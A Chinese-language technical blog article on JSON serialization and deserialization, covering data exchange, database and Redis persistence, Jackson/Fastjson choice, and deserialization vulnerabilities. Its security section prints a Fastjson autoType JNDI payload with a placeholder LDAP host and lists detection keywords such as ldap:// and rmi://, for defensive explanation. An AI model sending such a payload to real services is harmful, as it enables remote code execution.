ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

一文讲透JSON序列化与反序列化:数据交换、持久化与安全实践

一文讲透JSON序列化与反序列化:数据交换、持久化与安全实践 从入行到现在我调试过无数个跟 JSON 相关的报错从最早的Unexpected end of JSON input到后来的Cannot deserialize value of type...再到生产环境凌晨三点挺尸的 Fastjson 告警可以说 JSON 序列化和反序列化贯穿了整个后端开发、接口联调和数据存储的全过程。很多刚入行的同事会觉得 JSON 就是个“轻量级数据格式”序列化就是把对象变成字符串反序列化再把字符串变回对象仅此而已。但在实际项目里数据交换的契约设计、持久化方案选型、接口兼容性演进、甚至服务被攻击的入口全都压在这两个动作上。这篇文章我从数据交换与持久化两个核心价值出发把 JSON 序列化与反序列化讲透把我在项目中踩过的坑和总结的方法一并整理出来适合正在学基础的学生、写业务的后端工程师以及做系统设计的架构师参考。1. 序列化与反序列化到底在解决什么问题1.1 内存里的对象为什么“出不去”先回到最基础的问题程序运行时数据在内存里是一堆对象和引用比如 Java 里 new 一个User对象它在堆内存里分配了连续的内存块里面有name字段、age字段还可能有指向其他对象的引用指针。这样的结构在进程内部存取速度极快但一旦涉及跨进程传输、跨网络发送或者落盘存储它就不能直接“移动”了——因为每个进程的内存空间是独立的对象的二进制内存布局也依赖运行时和具体语言换个机器、换个语言这段内存数据基本就是乱码。序列化做的就是把这种“运行时内存结构”转换成一种可传输、可存储的格式比如 JSON 字符串、XML、Protocol Buffers 的二进制或者 Java 原生的序列化字节流。反序列化则是反过来把这种格式重新还原成内存对象。你可以把序列化想象成“把一整个行李箱的东西一件件打包成清单”反序列化就是“根据清单再把东西放回行李箱”。这个“打包清单”动作直接决定了你的程序能不能和其他系统对话、数据能不能在重启后保留。为什么 JSON 能成为最主流的序列化格式之一核心在于三点人类可读、跨语言、自描述。人类可读意味着出问题时可以直接看报文排查跨语言意味着 Java 序列化的结果 Python 不一定能读但 JSON 字符串到哪儿都能解析自描述指的是 JSON 本身就带字段名{name:小明,age:18}里name和age的含义一目了然不需要额外的字段字典。这三点看似简单却是做数据交换时最宝贵的特性。1.2 一个最小可复现的例子我用一个非常简单的场景来说明。假设你有一个 Java 对象public class User { private String name; private int age; // 省略 getter/setter }用 Jackson 序列化成 JSONObjectMapper mapper new ObjectMapper(); User user new User(小明, 18); String json mapper.writeValueAsString(user); // 输出{name:小明,age:18,deleted:false}这个字符串就是对象在“旅行”时的形态。它可以被塞进 HTTP 请求体发给前端可以写入 Redis也可以存进本地文件。当前端用 JavaScript 接收后执行JSON.parse(json)就又还原成一个 JS 对象。整个过程里Java 对象和 JS 对象并不是同一个东西但通过 JSON 这个“中间语言”它们完成了语义一致的交换。这个小例子背后藏着一个关键思想序列化格式是一种协议或者说契约。只要双方都遵守同一套 JSON 结构约定不管内部用什么语言、什么数据结构实现都能正常通信。这也是微服务架构喜欢把 JSON 作为 HTTP 接口默认数据格式的原因之一。1.3 数据交换与持久化的双线价值把序列化的作用归到两条主线上后续所有问题都能顺着这两条线理解。第一条是数据交换。时间上是瞬时的空间上是跨系统的。比如浏览器向服务器发请求、订单服务调用库存服务、平台对接第三方支付回调都属于数据交换。序列化负责把本系统的对象变成对方能读懂的消息反序列化负责把对方的消息还原成本系统的对象。这里最核心的诉求是兼容性、效率和契约清晰。第二条是持久化。时间上是长久的空间上是从内存到存储介质。比如用户会话信息要存 Redis、订单数据要存数据库、配置信息要落文件。序列化把内存对象变成可存储的字节或文本反序列化则在需要时还原。这里最核心的诉求是版本演进、可读性和跨应用复用。很多人会把这两条线混在一起讲但实际落地时它们的关注点差别很大。数据交换更看重序列化速度和传输体积持久化更看重兼容性和可维护性。同一份 JSON 库在这两个场景下的配置和使用方式都不同后面我会分开拆解。2. 数据交换场景JSON 是怎么当“翻译官”的2.1 一次接口请求背后的两次转换前端调后端接口时很多人只看得到浏览器 Network 面板里的 JSON 报文但这一来一回其实经历了至少两次序列化和两次反序列化。以典型的 Vue 前端 Java 后端为例前端 JS 对象{ name: 小明, age: 18 }先经过JSON.stringify()变成字符串放进 HTTP 请求体发出。后端框架比如 Spring MVC接收后通过 HttpMessageConverter 找到合适的转换器调用 Jackson 把请求体字符串反序列化成 Java 的User对象这是第一次反序列化。业务处理完后Spring 再把返回的对象序列化成 JSON 字符串写回响应这是第二次序列化。前端拿到响应后执行JSON.parse()还原成 JS 对象这是第二次反序列化。这一整套链路里任何一环出了问题表现都可能是同一个接口“通了”但数据不对或者直接报 400/500。我在联调时最常遇到的一类问题是前后端字段命名风格不一致。后端 Java 习惯了userId、createdAt这种驼峰命名前端 JS 可能用user_id、created_at下划线命名。如果中间没有做映射反序列化时就会出现字段丢失或者值为 null。这种情况不是 JSON 本身的问题而是序列化契约没对齐。解决方案要么是统一命名规范要么在序列化配置层做PropertyNamingStrategy.SNAKE_CASE的全局映射要么在 DTO 字段上用注解逐个映射。还有一类问题是类型不匹配。前端提交age: 18后端age是int类型Jackson 默认可以把字符串形式的数字反序列化成整数但如果提交的是age: 空字符串就会触发反序列化异常具体情况要看配置的容错策略。这里我的经验是接口层不要直接用实体类接收前端参数至少弄一层独立的 DTO把序列化边界和业务边界分开。2.2 微服务调用里的序列化选型微服务架构下服务间通信有两个流派一种是 REST/HTTP JSON一种是 RPC 框架 自定义协议。HTTP JSON 胜在简单、通用、可调试curl 一下就能看到报文RPC 方案比如 gRPC 的 Protocol Buffers胜在性能和强契约但失去了人类可读性。JSON 序列化在微服务里最大的价值是“异构系统互通”和“故障排查友好”。订单服务用 Java数据分析服务用 Python推荐服务用 Go大家都能解析 JSON这就省去了为每个语言各自维护一套序列化 SDK 的成本。而且线上排查问题时直接看网关日志里的 JSON 报文就能定位是哪个字段传错了不需要像二进制协议那样额外解码。不过 JSON 的高可读性是用体积换来的。同样一个用户对象JSON 字符串可能 200 字节Protobuf 可能只要 60 字节。所以在内部服务间对延迟和带宽敏感的场景我会建议用 Protobuf 或 Thrift但对外部接口、第三方回调、需要长期维护的开放平台JSON 依然是稳妥的默认选择。一个折中的做法是内部服务用 RPC Protobuf网关层统一转成 JSON 对外暴露两边都受益。2.3 第三方平台的 JSON 契约设计对接过微信支付、支付宝、GitHub API、企业微信的读者应该有深刻感受开放平台的接口文档本质上就是在描述一份 JSON 契约。字段含义、类型、是否必填、嵌套层级、枚举范围全部要在文档里写清楚否则第三方开发者没法对接。这里 JSON 的自描述属性就非常有用字段名本身就是语义对方看到out_trade_no大概能猜到是商户订单号。但契约光靠文档容易出问题。2024 年以来我见到越来越多的团队引入 JSON Schema 做接口校验就是在反序列化之前先用 schema 校验请求体结构。比如大模型相关的服务对外暴露接口时prompt、temperature、max_tokens 这些字段的类型和取值范围都能用 schema 定义前端传错了直接在网关层就拦截不会进到业务代码里。之前热词里提到的 DeepSeek 等大模型接口报 JSON Schema 错误很大程度上就是客户端生成的请求体不符合服务端声明的 JSON Schema 规范校验直接拦截了。用 Schema 相当于给数据交换加了静态类型检查值得在跨团队接口上推广。3. 持久化场景JSON 如何把“状态”留下来3.1 数据库里的 JSON 字段与索引很多传统团队一开始拒绝在关系型数据库里使用 JSON 字段理由是“关系型数据库就应该做关系建模JSON 是脏数据”。但 MySQL 5.7 以后推出原生的 JSON 类型加上 PostgreSQL 对 JSONB 的高度支持这种观念在慢慢改变。实践中JSON 字段适合存“结构不确定但总有一部分需要检索”的数据比如商品的可选属性、订单的扩展信息、用户的自定义配置。在 MySQL 里直接对 JSON 字段的某个属性做查询条件是不能走普通索引的。常用做法是生成列Generated Column结合索引把 JSON 里的某个属性提取出来作为虚拟列再对这个虚拟列建索引。比如订单表的order_infoJSON 字段里存了pay_time可以这样ALTER TABLE t_order ADD COLUMN pay_time DATETIME GENERATED ALWAYS AS (JSON_UNQUOTE(JSON_EXTRACT(order_info, $.payTime))) STORED; ALTER TABLE t_order ADD INDEX idx_pay_time (pay_time);这里有个关键点STORED 生成列是把数据物理落盘查询的时候可以直接走索引VIRTUAL 生成列则不占额外存储但只有二级索引能覆盖它所以具体选哪种要看查询频率和存储成本。MySQL 8.0 还支持多值索引Multi-Valued Index专门针对 JSON 数组场景比如tags字段存了一堆标签可以用CAST(json_extract(...) AS UNSIGNED ARRAY)建索引显著提升数组包含类查询的性能。PostgreSQL 的 JSONB 就更强了支持 GIN 索引直接对 JSON 的键值建索引还提供、?这类操作符做包含查询。用 JSONB 做持久化时我习惯在写入前格式化一下保证结构一致性否则同一个语义的字段一会存字符串一会存数字后面查询和统计都会非常痛苦。3.2 Redis 持久化与序列化方式的抉择Redis 本身就是个内存型数据库它的持久化机制可以分为两类RDB 快照和 AOF 日志。很多初学者会问“Redis 持久化和 JSON 序列化有什么关系”这里有三个层面。第一层是 Redis 的 value 本身。Redis 的 string 类型只能存字符串或字节数组想把一个对象塞进去得先序列化成 JSON 字符串或者用 JDK 原生序列化的字节数组。我一般倾向于 JSON 字符串原因很简单可读、可调试且跨语言通用。用redis-cli直接查看某个 key 的 value发现是{userId:123,status:1}这样的内容一眼就能看懂如果是一堆\xAC\xED\x00\x05t\x00...的字节流排查问题会非常痛苦。第二层是 Redis 的存储格式。Redis 自己内存里的数据结构是高度优化的但 RDB 快照会把所有 key-value 以二进制格式存到磁盘AOF 则把写命令以文本协议追加到文件。无论哪种当 Redis 重启恢复时它都是先把数据读进内存再构建数据结构。这整个“内存转磁盘再回内存”的过程本质上也是一次系统级的序列化与反序列化只是这套机制对用户透明大多数时候不需要感知。第三层是缓存里 JSON 的更新策略。我遇到过不少案例一个对象被多个服务同时缓存A 服务把字段名改了但 Redis 里老数据还没过期B 服务反序列化时直接报 Unrecognized field 错误。所以用 JSON 做缓存 value 时反序列化端一定要配置忽略未知字段同时在发布窗口做好缓存预热或者 key 版本化比如给 key 加版本号order:detail:v2:{id}发布后自然切换。3.3 文件型持久化的典型玩法JSON 做文件持久化的场景比很多人想象中多软件配置文件VS Code 的settings.json、ESLint 的配置文件、爬虫采集的结果落盘、游戏存档、工作流编排文件像我之前用 ComfyUI 时保存的 workflow JSON、各种订阅源文件书源、资源订阅源、导出的数据备份全都在用 JSON。用 JSON 做配置文件的好处是注释友好、结构直观、可版本化。比如我之前处理过的一个 Java 服务把线程池参数、限流阈值、开关项全部放在一个config.json里启动时读进来反序列化成一个配置对象。调整参数不需要重新编译发版直接改文件再触发一次 reload 接口就行。但这里有个一直存在的痛点JSON 标准里没有注释团队里总是有人忍不住往里面塞//注释结果解析直接挂掉。我见过不少项目为了注释需求去用 JSON5、HOCON、YAML 这类超集格式但换来换去还是觉得如果配置规模不大原版 JSON 配合_comment字段是最简单稳妥的。书源、订阅源这类“内容分发配置文件”用 JSON 也很有意思。它本质上是一个大的 JSON 数组每个元素描述一个规则对象客户端拉取后反序列化进内存用户点一下就能切换。这种场景对 JSON 的要求是结构稳定、向后兼容。所以发布这类文件时我建议在 JSON 里加一个version字段解析时先校验版本避免旧客户端遇到新字段直接崩。4. 核心实操主流语言和框架的序列化方案4.1 JavaJackson 与 Fastjson 的选型Java 世界里JSON 序列化库主要是 Jackson、Gson 和 Fastjson 三足鼎立。Spring Boot 默认用 Jackson因为和 Spring 生态整合最深注解丰富性能稳定。Gson 轻量适合小型工具类项目。Fastjson 早期以“快”著称国内用得很多但因为频繁曝出反序列化漏洞我一直不太推荐核心服务使用如果历史项目里已经用了至少要锁版本、开 safeMode、关注安全通告。Jackson 我在实操里最常用到的几个能力JsonProperty指定字段别名JsonIgnoreProperties(ignoreUnknown true)忽略未知字段JsonFormat格式化日期JsonInclude(Include.NON_NULL)忽略 null 值。比如外部接口返回的字段命名是下划线风格内部 DTO 是驼峰就在 DTO 字段上指定public class OrderDTO { JsonProperty(order_id) private String orderId; JsonProperty(pay_time) JsonFormat(pattern yyyy-MM-dd HH:mm:ss, timezone GMT8) private LocalDateTime payTime; }Fastjson 使用起来确实代码量少JSON.parseObject(json, User.class)一行搞定但它的 autoType 机制曾经是漏洞重灾区攻击者可以通过构造恶意的type字段触发任意类加载进而实现命令执行。这不是 Fastjson 独有的问题Java 原生序列化同样存在但 Fastjson 因为默认开启 autoType 而扩大了攻击面。如果你因为历史原因必须用 Fastjson我的建议是升级到维护中的最新版本、关闭 autoTypeParserConfig.getGlobalInstance().setAutoTypeSupport(false)、在反序列化入口做严格的类型白名单校验。4.2 Python 与 JavaScript 的序列化细节Python 里标准库json功能已经很强但有几个经典的坑。第一是datetime对象默认不能直接序列化会报TypeError: Object of type datetime is not JSON serializable。解决方法是写个自定义 encoderimport json from datetime import datetime class DateTimeEncoder(json.JSONEncoder): def default(self, obj): if isinstance(obj, (datetime, date)): return obj.strftime(%Y-%m-%d %H:%M:%S) return super().default(obj) json.dumps(data, clsDateTimeEncoder, ensure_asciiFalse)这里ensure_asciiFalse也很关键否则中文会被转成\u5c0f\u660e这样的 Unicode 转义序列虽然语义没变但可读性极差日志排查时会怀疑人生。第二是元组变数组的坑。Python 的tuple序列化成 JSON 后是数组反序列化回来是 list类型变了。如果对类型敏感需要自己加转换逻辑。第三是 JSON 标准里 key 必须是双引号字符串Pythondict的 key 如果是数字json.dumps会自动转成字符串但反序列化后取data[1]可能拿不到得用data[1]。前端 JavaScript 里JSON.stringify有一些隐藏细节。比如undefined、函数、Symbol 会被忽略NaN和Infinity会被转成nullDate对象会转成 ISO 字符串但 ISO 字符串再 parse 回来也是字符串而不是 Date。这些细节在做数据上报、前端埋点时很容易踩坑。Vue 2 项目里常见的可编辑 JSON 数据插件本质上也是把对象序列化成文本渲染到 textarea 里编辑完成后反序列化回对象并触发更新如果用户输入了非法 JSON插件会直接报解析错误。4.3 serialVersionUID 和 JSON Schema 校验Java 序列化还有一个经典话题serialVersionUID。IDE 里总有人抱怨“怎么自动生成序列化 id”原因是一个类如果实现了Serializable但没有显式声明serialVersionUIDJVM 会根据类结构自动算一个一旦类结构变化加字段、改方法自动算出的 UID 就变了反序列化时就会抛InvalidClassException。显式声明的作用就是把这个版本号固定下来让老数据在类结构微调后依然能反序列化成功。IDEA 里没有自动提示序列化 id是因为相关检查默认没开在 Settings 的 Inspections 里搜serialVersionUID勾选Serializable class without serialVersionUID后面就能 AltEnter 一键生成了。序列化版本的兼容性控制本质上是“持久化数据能活多久”的问题。如果你用 JSON 持久化情况会好很多JSON 没有 Java 原生序列化那么严格的版本绑定多一个字段、少一个字段一般都能兼容关键还是你那端的反序列化配置是否足够宽容。我强烈建议所有 JSON 反序列化入口都开启“忽略未知字段”这样上游多加字段不会导致下游崩溃对必填字段做显式校验缺了就在业务层报语义清晰的错误。JSON Schema 在数据交换和持久化里都值得用起来。它的写法类似{ type: object, required: [name, age], properties: { name: { type: string, maxLength: 20 }, age: { type: integer, minimum: 0 } } }Java 里可以用networknt/json-schema-validator做校验Python 里用jsonschema库一套 schema 多端复用。大模型接口返回结构化输出时大家也喜欢用 JSON Schema 约束输出格式让模型按固定结构返回再反序列化成业务对象避免返回纯文本后还得正则匹配。5. 绕不开的安全问题反序列化漏洞原理与防线5.1 漏洞为什么会产生反序列化漏洞是一类经典且高危的安全问题。核心原理是反序列化本质上是“根据外部输入决定创建什么类、调用什么方法”的过程。如果这个外部输入不可信并且序列化格式允许携带类型信息攻击者就可以构造恶意数据让服务端在当前进程中创建一个攻击者指定的类触发类的某些危险方法链最终达到命令执行、文件读写、SSRF 等目的。Java 原生反序列化漏洞是最经典的一类。ObjectInputStream.readObject()读取字节流时会根据流里的类描述符创建对象并自动调用类的readObject/readResolve方法。一些公共库的类比如 CommonCollections 里的某些类在执行反序列化时会间接触发危险操作攻击者把这些类串成一条“gadget chain”就能实现从“读取恶意字节流”到“执行系统命令”的完整攻击。这也是为什么安全扫描器总是提醒不要对不可信数据使用 Java 原生反序列化。Fastjson 的问题则出在它的 autoType 机制。它的 JSON 字符串允许携带type字段指定要反序列化的具体类如果攻击者把type指向一个攻击者可利用的恶意类Fastjson 在解析过程中就会创建这个类并可能触发 setter 方法里的危险逻辑。我在安全应急时见过模拟攻击用的 payload长得就像下面这样只是演示原理不要拿去干坏事{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://恶意地址,autoCommit:true}服务端一旦把这个 JSON 反序列化成JdbcRowSetImpl对象某些版本的 Fastjson 会尝试连接dataSourceName指向的 LDAP 地址这个地址返回的恶意 Java 类又会被加载执行最终形成完整攻击链。整个过程只需要一个 HTTP 请求这就是反序列化漏洞最可怕的地方。5.2 实际案例复盘与防御方案我处理过一个典型的反序列化安全问题。一个老项目对外提供了一个接口入参是一个很大的 JSON 字符串业务代码为了省事直接把请求体JSON.parseObject(input, User.class)。安全扫描后发现攻击者可以修改 JSON 里的type字段探活各种类虽然当时没有直接打穿但这已经是一个明确的高危风险点。修复分了三步走。第一步反序列化入口禁止携带类型信息改用“白名单 明确类”的方式只允许解析预定义 DTO 类。第二步使用维护积极、社区安全的序列化库同时开启安全模式。第三步在网络层加防护对异常请求做风控比如检测请求体里是否出现type、ldap://、rmi://等敏感关键字。这三步做完风险基本可控。再补充一点jackson-databind这几年也披露过多个反序列化相关漏洞多数是“多态类型处理”惹的祸。Jackson 可以通过enableDefaultTyping在序列化结果里带上类型信息反序列化时再按这个类型还原。这个特性一开如果反序列化的是不可信数据就存在被攻击者引导加载意外类的风险。我的建议是除非你完全理解风险并且对输入源有强控制力否则不要轻易开 default typing。5.3 日常编码中的反序列化安全检查清单经历了多次安全整改后我整理了一份简单的检查清单每次涉及序列化相关的代码评审都要过一遍反序列化的数据来源是否可信如果来自用户输入、外部接口、消息队列等不可信源必须有类型白名单或严格校验绝不能直接塞给原生 readObject 或 autoType 解析器。使用的 JSON 库版本是否在维护中Fastjson 老版本、部分 jackson-databind 版本都有已知漏洞先升级到安全版本再说。是否开启了多态类型功能没有明确业务需求就保持关闭。反序列化后是否校验了必填字段和取值范围这能挡住一部分畸形数据减少下游空指针和越界问题。是否有限流和请求体大小限制反序列化大对象会占内存攻击者可以构造超大 JSON 做内存耗尽攻击。安全不是单独的可选项它跟序列化选型直接绑定。越是底层的数据解析越要审慎。6. 常见问题排查与调试技巧6.1 高频报错与解决思路我日常见到的 JSON 相关报错80% 集中在下面几类。整理成了一个速查表给团队做新人培训时也用这份。报错现象常见原因处理方式Unexpected end of JSON input请求体为空或 JSON 发送不完整查看请求体实际内容确认字段完整Unrecognized field xxx入参带了目标类没有的字段加JsonIgnoreProperties(ignoreUnknown true)Cannot deserialize value of type int from String abc类型不匹配检查字段类型利用JsonFormat或自定义反序列化器JSON parse error: Cannot construct instance目标类缺少无参构造方法或对应构造方法给 DTO 加无参构造或用JsonCreator指定构造方法IllegalStateException: Cannot call sendError()过滤器/切面里异常处理逻辑混乱检查全局异常处理器与原生报错的调用顺序Unable to read version jsonMinecraft 等场景本地存储的文件或目录不完整删除对应缓存文件重新下载检查网络代理影响“Unexpected end of JSON input”这个报错在 Node.js、Python、Java 里都很常见绝大多数不是 JSON 库的 bug而是上游把空串或者被截断的字符串传过来了。排查时我建议先把原始请求字符串打印出来看一眼别急着改代码。有一次排查了很久最后发现是 Nginx 的proxy_request_buffering配置导致大请求体被截断。6.2 顺手的 JSON 调试工具与方法工欲善其事必先利其器。我常用的 JSON 调试工具格式化方面命令行用python -m json.tool快速格式化并校验 JSON浏览器里用 JSON Formatter 类插件直接把接口返回的 JSON 渲染成可折叠的树。Vim 用户可以用jq处理 JSON 数据流比如curl 接口 | jq .data.list[0].name提取字段写脚本时效率极高。因为接口联调时要对比两次返回的差异我用过几款 JSON 在线对比工具但敏感数据又不敢随便贴到第三方网站。后来就用 VS Code 里对比两个 JSON 文件内置的 Diff 视图虽然对 JSON 结构不理解但文本级 diff 足够定位字段级差异。另外 JMeter 调试 HTTP 接口时请求体和响应体默认是原始文本可以在“查看结果树”里切换到 JSON Path Tester或者用插件做 JSON 格式化不然超长的一行 JSON 根本没法看。JDK 自带工具之外IDE 的帮助也很大。IntelliJ IDEA 里可以直接在 HTTP Request 控制台把响应保存为 JSON 文件再右键格式化。如果项目里反序列化配置复杂我会写一个简单的单元测试把 JSON 文件和实体类挂在一起先模拟反序列化确认字段映射没问题再去联调成本低且能精准定位问题。6.3 一个生产环境的排查实录最后分享一个印象很深的案例。有一次线上订单服务突然大面积报Cannot deserialize value of type java.math.BigDecimal from String 看堆栈定位到是反序列化一个第三方回调请求体里的金额字段。第三方把金额字段里的空值返回成了空格字符串而不是标准的 null 或 0正常配置下 Jackson 会直接抛异常。临时先加了一个自定义反序列化器把所有BigDecimal字段的空串统一转成 nullpublic class LenientBigDecimalDeserializer extends JsonDeserializerBigDecimal { Override public BigDecimal deserialize(JsonParser p, DeserializationContext ctxt) throws IOException { String text p.getText(); if (text null || text.trim().isEmpty()) { return null; } return new BigDecimal(text.trim()); } }然后在字段上标注JsonDeserialize(using LenientBigDecimalDeserializer.class)。这只是应急方案根本问题是对接方接口返回数据不规范。后来跟他们确认了字段语义要求缺失时返回 null同时我方加了接口契约的单测把这个字段的映射案例固化下来防止再犯。这个案例给我的启发是JSON 序列化不是“写个注解、调个方法”就完事的。你要面对的是各种不按常理出牌的数据空格、null、字符串数字、缺失字段、未知字段、大小写变化每个都可能让你的服务弹出一堆异常。防御性编程的心态必须贯穿序列化配置的始终。我个人实际操作中的体会是JSON 序列化与反序列化看起来只是开发中的一个小环节但它像水一样渗透在系统之间的每一次握手、每一份落盘数据里。真正理解它的人会在接口设计时主动定义契约会在库选型时把安全放在性能前面会在上线前把容错配置写对。希望这篇文章能帮你少踩几个坑把这块硬骨头啃下来。
RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进